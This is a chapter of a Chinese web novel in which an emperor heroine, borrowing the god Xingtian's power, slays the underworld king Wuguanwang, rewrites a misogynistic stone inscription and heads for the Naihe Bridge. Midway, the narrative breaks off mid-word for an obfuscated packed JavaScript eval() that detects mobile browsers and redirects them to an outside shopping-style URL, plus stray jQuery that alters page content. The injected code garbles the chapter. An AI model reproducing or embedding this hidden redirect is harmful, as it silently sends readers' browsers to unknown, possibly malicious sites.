8.吃我一刀九九九

作品:《朕乃丝绸朋克恐综女永一[无限]

    秦霜池看似轻轻一挥,仵官王却不敢小觑,连忙狼狈地闪身躲避。


    那一挥手掀起的剑气,比庞大的仵官王还高,如一座高有千仞的白色山峰。


    所过之处天崩地裂,最后落在了血盆苦界的盆地边缘,在岩壁上留下了一道深深的裂隙。


    秦霜池瞥去一眼,再次挥剑,一连轻松砍出三四道剑气,砍得仵官王屁滚尿流。


    这时候,体内龟缩的秦霜池忽然小声开口:“刑天前辈,咱能打个商量吗?”


    “说。”刑天人狠话不多。


    “咱能不能只杀它一个,尽量少搞点破坏,不然伤到无辜路鬼就不好了。”秦霜池客客气气地和祂商量,“您这么这么强大,肯定可以办到吧?”


    您的好友·马屁王·秦霜池已上线!


    能屈能伸,才是真皇帝!


    刑天没说话。


    秦霜池的身体收了招式,一闪身,毫无征兆地出现在了仵官王的后心处。


    仵官王眼前再也看不到秦霜池的存在,它瞳孔一缩,才想起来要转身,周身的血水如漩涡般搅动。


    但已经迟了。


    秦霜池的剑直直刺入了它的胸口正中心。


    死穴!膻中穴!


    秦霜池狐假虎威地兴奋喊道:“嘿哈!小小阎王,吃我一刀九九九!”


    负责输出的刑天:……


    虽然秦霜池的剑对于仵官王庞大的身体来说,小得有点可怜。


    但是架不住刑天力气大啊!


    那把剑直接因为惯性,穿透了仵官王的身体,从后背捅刺到了前胸。


    秦霜池又是一个闪身,到了仵官王身前,接住那把剑。


    然后毫不犹豫地换了个靶心,像是扎飞镖一样,再次朝着仵官王躯干的另一个死穴扔去。


    任脉上腹,鸠尾穴!


    肚脐正中,神阙穴!


    任脉脐下,气海穴!


    好,躯干料理完毕!


    接下来,就是头部和四肢。


    头部死穴——百会,太阳,人中,风池!


    四肢死穴——肩井,曲池,涌泉!


    几乎是一瞬间,剑就被前后扔了数十个来回。


    每一剑都用了上古真神才有的消神灭鬼之力。


    仵官王心脉俱断,口中喷出大量的鲜血,血水像是泛洪一般泻地,差点淹没了它身前的一座倒霉岛屿。


    它双眼失神,趔趄一下,就要往前倒去。


    秦霜池又死皮赖脸地求道:“前辈前辈,拜托了前辈,麻烦控制一下它倒下的方向。”


    秦霜池的身体伸出手,提着庞然大物的后颈,把它按在了后方的岩壁上。


    “人皇……你……好样的……”


    那张鬼脸渐渐失去了生气。


    “只有这点斤两,真是无趣,吾去也。”


    战斗结束,秦霜池的身体伸了个懒腰,阖目道。


    “等一下等一下!”秦霜池连忙喊,“前辈前辈,最后再把力量借我用一会儿呗。”


    “汝欲为何?”


    “我装个大的。”


    “……”


    秦霜池好说歹说,嘴皮子都磨破了,终于借到了刑天的力量。


    她提着剑,割下了仵官王的一块肉当砚台。


    然后她一手拖着那块肉,一手提着剑,穿过因为仵官王的死亡而躁动不安的鬼群,走向了那块位于血盆苦界正中央的大石头。


    她抬起头,看着上面密密麻麻写着的、那些她一点都不认同的圣人教诲。


    借着刑天的力量,蘸着仵官王的血,她用手中的剑改写着石头上的内容。


    她先把后面那些又臭又长的文字划了个精光,只留下了“降生女质,五浊形漏”。


    接着,又单独把“五浊形漏”四个字也重重地划掉。


    再在上面改写了另外四个字。


    秦霜池刚打完架,一时间也没有什么舞文弄墨的思路。


    干脆就把女子两个字,一连写了四遍。


    “降生女质,好好好好!”


    秦霜池写完,转过身。


    她居高临下地看着众鬼囚和鬼卒,举着手里的那块肉,高声宣布:“仵官王已死!”


    而这石头上的八个字,就是秦霜池为这血盆界定下的新法则。


    她要这血盆苦界,永不再苦!


    她要世间女子不再因为月经而羞耻,不再因为生子而被嫌弃血腥。


    没有什么生来原罪,没有什么需要勘破,站在光明之中,和男子站在同一条起跑线上。


    这就是她秦霜池要的公道!


    没有人是生来就有罪的!


    抛去那些繁文缛节,回到道的最初,老子骑着青牛西出函谷关,悠悠天地间,留下那句:


    “人法地,地法天,天法道,道法自然。”


    人无原罪,道法自然。


    万语千言从秦霜池心中经过,最终化作了一句话。


    这句话会永远刻在这块石头上,整个血盆界都做了见证,这里的每一个鬼囚都能够看到。


    ——降生女质,好好好好!


    头顶的评委席上,一片寂静。


    白骨精一动不动地坐着,默默用意念打开了脑机,又用眼神调出了仅它可见的全息光屏,打开直播软件,用小号给秦霜池打赏了一串金元宝。


    【导播提示:叮咚~观众“画皮难画骨”为您打赏了一串金元宝,折合换算为 100 点绝望值~】


    【导播提示:观众“画皮难画骨”消费金额已达到 100 点绝望值,自动加入您的粉丝团!您的粉丝团现有粉丝数量为:1。】


    秦霜池听见提示,立刻乐呵呵地说:“恭喜骨姐,贺喜骨姐,成为第一个加入我的粉丝团的粉丝!黄泉路上有点累,跟紧池皇不掉队!”


    牛头人听见了“骨”字,立刻看向白骨精:“白姐,这个叫‘画皮难画骨’的,不会是你吧?”


    白骨精咬牙切齿:“……不是。”


    那么长串的名字,秦霜池是怎么就准确挑出“骨”字念的?


    秦霜池:冤枉啊!我只是念了最后一个字而已!


    刑天等得有些不耐烦,问:“你装完了吗?”


    “完了完了。”秦霜池利落地说,“前辈您慢走啊!”


    回应她的,依旧是酷酷的沉默。


    那股力量忽然就从她的身体里消失了。


    秦霜池又变成了一个只会点花架子的普通人。


    她动动胳膊动动腿,当即做了一段八拍的第八十九套广播体操,熟悉自己的身体。


    有力量的感觉,确实不错。


    如果这股力量本来就属于她,那就更不错了。


    等着吧,早晚有一天,她也会有真正属于自己的力量的!


    做完广播体操,秦霜池去找三个不成器的臣子汇合。


    在这一个时辰内,站在血盆界出口处的三只尸鬼已经彻底看懵了。


    一开始,就像是动物大迁徙一样,乌泱泱涌出来一群鬼囚,就是不见它们的陛下。


    过了一会儿,整个地面开始震动,远处升起了一个绿皮肤的巨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399993|200044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人。


    又过了一会儿,它们英明神武的陛下终于出现了。


    不过是飞着出现的,就悬在那个巨人的大脸前。


    那个画面,怎么看怎么诡异!


    它们的陛下就这么连招呼都不打,直接丢下它们物理意义上地飞升了,还把十大阎王之一的仵官王揍得毫无还手之力!


    虽然秦霜池原地飞升了,但是三只尸鬼还是迫于命令等在原地。


    直到秦霜池从血盆界中走出来。


    “陛陛陛陛下……恭迎陛下!”


    一见到秦霜池,它们仨还有点不敢认,但习惯成自然,已经条件反射地哆哆嗦嗦跪下了。


    秦霜池一身都是仵官王的血,整个人像是一个血人,呲牙笑时,露出白色的牙齿。


    “都给朕起来,抬你们的棺,继续赶路!”


    果然是它们的陛下!原汁原味的陛下!


    三只尸鬼连忙各就各位,抬棺的抬棺,捶腿的捶腿,逗趣的逗趣。


    它们的陛下坐在棺材上,剑指前方:


    “下一站——奈何桥!”


    自出血盆界后,黄泉路上就带上了迷蒙的白烟。


    行了约莫一个时辰的路,秦霜池眼前的白烟变得愈来愈浓。


    鬼太监将秦霜池从棺材上扶下来,贴心提示道:


    “陛下,这浓烟乃忘尘烟,有令人神志不清的效用,越往高处烟越浓,您仔细着点,看着前方的路,低头弯腰,捂住口鼻。”


    秦霜池拿龙袍捂着嘴,被迫嗅着那浓重的血腥味,点了点头。


    ——她懂,小时候消防演练教过。


    靠近奈何桥,周围的孤魂野鬼也多了起来。


    它们不比秦霜池一行尸鬼防备着浓烟还保持着基本的神智,大部分都浑浑噩噩地佝偻着身子,歪歪倒倒地朝着前方走去。


    由于能见度越来越低,秦霜池动不动就要踩到忽然冒出来的前鬼的后脚跟。


    甚至她有一次还不小心踩下了一只尸鬼腐烂的脚皮。


    主要是,她的鞋已经被黄泉路吃掉了啊!


    秦霜池:……哕,受不了了好恶心!


    本来被黄泉路吃掉就烦!


    就在秦霜池忍不住想要砍点啥泄愤时,眼前隐隐约约出现了一座桥的阴影。


    那是一座紫檀木盖成的桥,两边挂着为行路鬼指引方向的红色的灯笼,周围的鬼乱中有序地朝着那座桥涌去,踏上那座桥,身影消失在那座桥的尽头。


    鬼文臣俯身贴耳地介绍:“陛下,这前头就是奈何桥了,咱们快过去吧。”


    一步,两步。


    在三只尸鬼臣子的簇拥下,秦霜池慢慢靠近那座象征着一切终结的奈何桥。


    终于走到了桥头,秦霜池却站住不动了。


    “陛下,您怎么又停下了?”


    前方,三只尸鬼臣子忽然唰地一下,齐齐转过头,盯着她看。


    三张嘴以同一频率开合,三种声音交叠在一起,达成了一种奇怪的协调感。


    仿佛,它们生来就应该用同一副嗓子说话。


    秦霜池当然没有忘记她的舞台目标——


    【舞台目标:1.找出那只最想要杀死你的、最该死的尸鬼,你有三次机会杀死它。2.在此之前,不要过奈何桥!】


    还有那句重要又不重要的舞台提示:“斩得三尸,即证金仙。”


    “……还没用完三剑,怎么能过奈何桥呢。”秦霜池举起剑,露出了一个秋后算账的、阴险小人的邪恶笑容,“来吧,剩下一剑,哪只小馋尸鬼想吃?”